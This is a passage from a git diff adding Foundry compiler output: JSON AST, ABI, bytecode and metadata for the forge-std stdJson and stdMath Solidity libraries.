nodeType":"ArrayTypeName","src":"5813:8:6","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"5770:65:6"},"returnParameters":{"id":7204,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7203,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7213,"src":"5870:13:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7202,"name":"string","nodeType":"ElementaryTypeName","src":"5870:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5869:15:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7228,"nodeType":"FunctionDefinition","src":"5958:111:6","nodes":[],"body":{"id":7227,"nodeType":"Block","src":"6025:44:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7223,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7215,"src":"6048:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7224,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7217,"src":"6057:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":7220,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"6035:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7222,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6038:9:6","memberName":"writeJson","nodeType":"MemberAccess","referencedDeclaration":13276,"src":"6035:12:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory,string memory) external"}},"id":7225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6035:27:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7226,"nodeType":"ExpressionStatement","src":"6035:27:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"write","nameLocation":"5967:5:6","parameters":{"id":7218,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7215,"mutability":"mutable","name":"jsonKey","nameLocation":"5987:7:6","nodeType":"VariableDeclaration","scope":7228,"src":"5973:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7214,"name":"string","nodeType":"ElementaryTypeName","src":"5973:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7217,"mutability":"mutable","name":"path","nameLocation":"6010:4:6","nodeType":"VariableDeclaration","scope":7228,"src":"5996:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7216,"name":"string","nodeType":"ElementaryTypeName","src":"5996:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5972:43:6"},"returnParameters":{"id":7219,"nodeType":"ParameterList","parameters":[],"src":"6025:0:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7246,"nodeType":"FunctionDefinition","src":"6075:145:6","nodes":[],"body":{"id":7245,"nodeType":"Block","src":"6166:54:6","nodes":[],"statements":[{"expression":{"arguments":[{"id":7240,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7230,"src":"6189:7:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7241,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7232,"src":"6198:4:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":7242,"name":"valueKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7234,"src":"6204:8:6","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":7237,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6677,"src":"6176:2:6","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":7239,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6179:9:6","memberName":"writeJson","nodeType":"MemberAccess","referencedDeclaration":13286,"src":"6176:12:6","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory,string memory,string memory) external"}},"id":7243,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6176:37:6","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7244,"nodeType":"ExpressionStatement","src":"6176:37:6"}]},"implemented":true,"kind":"function","modifiers":[],"name":"write","nameLocation":"6084:5:6","parameters":{"id":7235,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7230,"mutability":"mutable","name":"jsonKey","nameLocation":"6104:7:6","nodeType":"VariableDeclaration","scope":7246,"src":"6090:21:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7229,"name":"string","nodeType":"ElementaryTypeName","src":"6090:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7232,"mutability":"mutable","name":"path","nameLocation":"6127:4:6","nodeType":"VariableDeclaration","scope":7246,"src":"6113:18:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7231,"name":"string","nodeType":"ElementaryTypeName","src":"6113:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":7234,"mutability":"mutable","name":"valueKey","nameLocation":"6147:8:6","nodeType":"VariableDeclaration","scope":7246,"src":"6133:22:6","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":7233,"name":"string","nodeType":"ElementaryTypeName","src":"6133:6:6","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6089:67:6"},"returnParameters":{"id":7236,"nodeType":"ParameterList","parameters":[],"src":"6166:0:6"},"scope":7247,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"stdJson","contractDependencies":[],"contractKind":"library","fullyImplemented":true,"linearizedBaseContracts":[7247],"name":"stdJson","nameLocation":"618:7:6","scope":7248,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":6} \ No newline at end of file diff --git a/contracts/out/StdMath.sol/stdMath.json b/contracts/out/StdMath.sol/stdMath.json new file mode 100644 index 000000000..b2fd0dbec --- /dev/null +++ b/contracts/out/StdMath.sol/stdMath.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220cf2c1355f8e5bbf50578d6503390ab3120ff0f2736c18fab8ac4dc4f3fe0f54064736f6c63430008180033","sourceMap":"65:1294:7:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;65:1294:7;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220cf2c1355f8e5bbf50578d6503390ab3120ff0f2736c18fab8ac4dc4f3fe0f54064736f6c63430008180033","sourceMap":"65:1294:7:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdMath.sol\":\"stdMath\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdMath.sol":"stdMath"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdMath.sol","id":7390,"exportedSymbols":{"stdMath":[7389]},"nodeType":"SourceUnit","src":"32:1328:7","nodes":[{"id":7249,"nodeType":"PragmaDirective","src":"32:31:7","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":7389,"nodeType":"ContractDefinition","src":"65:1294:7","nodes":[{"id":7253,"nodeType":"VariableDeclaration","src":"87:115:7","nodes":[],"constant":true,"mutability":"constant","name":"INT256_MIN","nameLocation":"111:10:7","scope":7389,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":7250,"name":"int256","nodeType":"ElementaryTypeName","src":"87:6:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"value":{"id":7252,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"-","prefix":true,"src":"124:78:7","subExpression":{"hexValue":"3537383936303434363138363538303937373131373835343932353034333433393533393236363334393932333332383230323832303139373238373932303033393536353634383139393638","id":7251,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"125:77:7","typeDescriptions":{"typeIdentifier":"t_rational_57896044618658097711785492504343953926634992332820282019728792003956564819968_by_1","typeString":"int_const 5789...(69 digits omitted)...9968"},"value":"57896044618658097711785492504343953926634992332820282019728792003956564819968"},"typeDescriptions":{"typeIdentifier":"t_rational_minus_57896044618658097711785492504343953926634992332820282019728792003956564819968_by_1","typeString":"int_const -578...(70 digits omitted)...9968"}},"visibility":"private"},{"id":7279,"nodeType":"FunctionDefinition","src":"209:306:7","nodes":[],"body":{"id":7278,"nodeType":"Block","src":"264:251:7","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":7262,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7260,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7255,"src":"342:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":7261,"name":"INT256_MIN","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7253,"src":"347:10:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"src":"342:15:7","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7266,"nodeType":"IfStatement","src":"338:130:7","trueBody":{"id":7265,"nodeType":"Block","src":"359:109:7","statements":[{"expression":{"hexValue":"3537383936303434363138363538303937373131373835343932353034333433393533393236363334393932333332383230323832303139373238373932303033393536353634383139393638","id":7263,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"380:77:7","typeDescriptions":{"typeIdentifier":"t_rational_57896044618658097711785492504343953926634992332820282019728792003956564819968_by_1","typeString":"int_const 5789...(69 digits omitted)...9968"},"value":"57896044618658097711785492504343953926634992332820282019728792003956564819968"},"functionReturnParameters":7259,"id":7264,"nodeType":"Return","src":"373:84:7"}]}},{"expression":{"arguments":[{"condition":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":7271,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7269,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7255,"src":"493:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":7270,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"497:1:7","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"493:5:7","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"id":7274,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"-","prefix":true,"src":"505:2:7","subExpression":{"id":7273,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7255,"src":"506:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":7275,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"493:14:7","trueExpression":{"id":7272,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7255,"src":"501:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":7268,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"485:7:7","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":7267,"name":"uint256","nodeType":"ElementaryTypeName","src":"485:7:7","typeDescriptions":{}}},"id":7276,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"485:23:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":7259,"id":7277,"nodeType":"Return","src":"478:30:7"}]},"implemented":true,"kind":"function","modifiers":[],"name":"abs","nameLocation":"218:3:7","parameters":{"id":7256,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7255,"mutability":"mutable","name":"a","nameLocation":"229:1:7","nodeType":"VariableDeclaration","scope":7279,"src":"222:8:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":7254,"name":"int256","nodeType":"ElementaryTypeName","src":"222:6:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"221:10:7"},"returnParameters":{"id":7259,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7258,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7279,"src":"255:7:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7257,"name":"uint256","nodeType":"ElementaryTypeName","src":"255:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"254:9:7"},"scope":7389,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":7300,"nodeType":"FunctionDefinition","src":"521:114:7","nodes":[],"body":{"id":7299,"nodeType":"Block","src":"590:45:7","nodes":[],"statements":[{"expression":{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7290,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7288,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7281,"src":"607:1:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":7289,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7283,"src":"611:1:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"607:5:7","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7296,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7294,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7283,"src":"623:1:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":7295,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7281,"src":"627:1:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"623:5:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":7297,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"607:21:7","trueExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7293,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7291,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7281,"src":"615:1:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":7292,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7283,"src":"619:1:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"615:5:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":7287,"id":7298,"nodeType":"Return","src":"600:28:7"}]},"implemented":true,"kind":"function","modifiers":[],"name":"delta","nameLocation":"530:5:7","parameters":{"id":7284,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7281,"mutability":"mutable","name":"a","nameLocation":"544:1:7","nodeType":"VariableDeclaration","scope":7300,"src":"536:9:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7280,"name":"uint256","nodeType":"ElementaryTypeName","src":"536:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7283,"mutability":"mutable","name":"b","nameLocation":"555:1:7","nodeType":"VariableDeclaration","scope":7300,"src":"547:9:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7282,"name":"uint256","nodeType":"ElementaryTypeName","src":"547:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"535:22:7"},"returnParameters":{"id":7287,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7286,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7300,"src":"581:7:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7285,"name":"uint256","nodeType":"ElementaryTypeName","src":"581:7:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"580:9:7"},"scope":7389,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":7336,"nodeType":"FunctionDefinition","src":"641:352:7","nodes":[],"body":{"id":7335,"nodeType":"Block","src":"708:285:7","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":7315,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":7311,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7309,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7302,"src":"847:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":"^","rightExpression":{"id":7310,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7304,"src":"851:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"src":"847:5:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"id":7312,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"846:7:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":7314,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"-","prefix":true,"src":"856:2:7","subExpression":{"hexValue":"31","id":7313,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"857:1:7","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"typeDescriptions":{"typeIdentifier":"t_rational_minus_1_by_1","typeString":"int_const -1"}},"src":"846:12:7","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7326,"nodeType":"IfStatement","src":"842:71:7","trueBody":{"id":7325,"nodeType":"Block","src":"860:53:7","statements":[{"expression":{"arguments":[{"arguments":[{"id":7318,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7302,"src":"891:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":7317,"name":"abs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7279,"src":"887:3:7","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_int256_$returns$_t_uint256_$","typeString":"function (int256) pure returns (uint256)"}},"id":7319,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"887:6:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"arguments":[{"id":7321,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7304,"src":"899:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":7320,"name":"abs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7279,"src":"895:3:7","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_int256_$returns$_t_uint256_$","typeString":"function (int256) pure returns (uint256)"}},"id":7322,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"895:6:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":7316,"name":"delta","nodeType":"Identifier","overloadedDeclarations":[7300,7336],"referencedDeclaration":7300,"src":"881:5:7","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":7323,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"881:21:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":7308,"id":7324,"nodeType":"Return","src":"874:28:7"}]}},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7333,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":7328,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7302,"src":"975:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":7327,"name":"abs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7279,"src":"971:3:7","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_int256_$returns$_t_uint256_$","typeString":"function (int256) pure returns (uint256)"}},"id":7329,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"971:6:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"arguments":[{"id":7331,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7304,"src":"984:1:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"id":7330,"name":"abs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7279,"src":"980:3:7","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_int256_$returns$_t_uint256_$","typeString":"function (int256) pure returns (uint256)"}},"id":7332,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"980:6:7","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"971:15:7","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":7308,"id":7334,"nodeType":"Return","src":"964:22:7"}]},"implemented":true,"kind":"function","modifiers":[],"name":"delta","nameLocation":"650:5:7","parameters":{"id":7305,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7302,"mutability":"mutable","name":"a","nameLocation":"663:1:7","nodeType":"VariableDeclaration","scope":7336,"src":"656:8:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":7301,"name":"int256","nodeType":"ElementaryTypeName","src":"656:6:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":7304,"mutability":"mutable","name":"b","nameLocation":"673:1:7","nodeType":"VariableDeclaration","scope":7336,"src":"666:8:7","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":7303,"name":"int256","nodeType":"ElementaryTypeName","src":"666:6:7","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"655:20:7"},"returnParameters":{"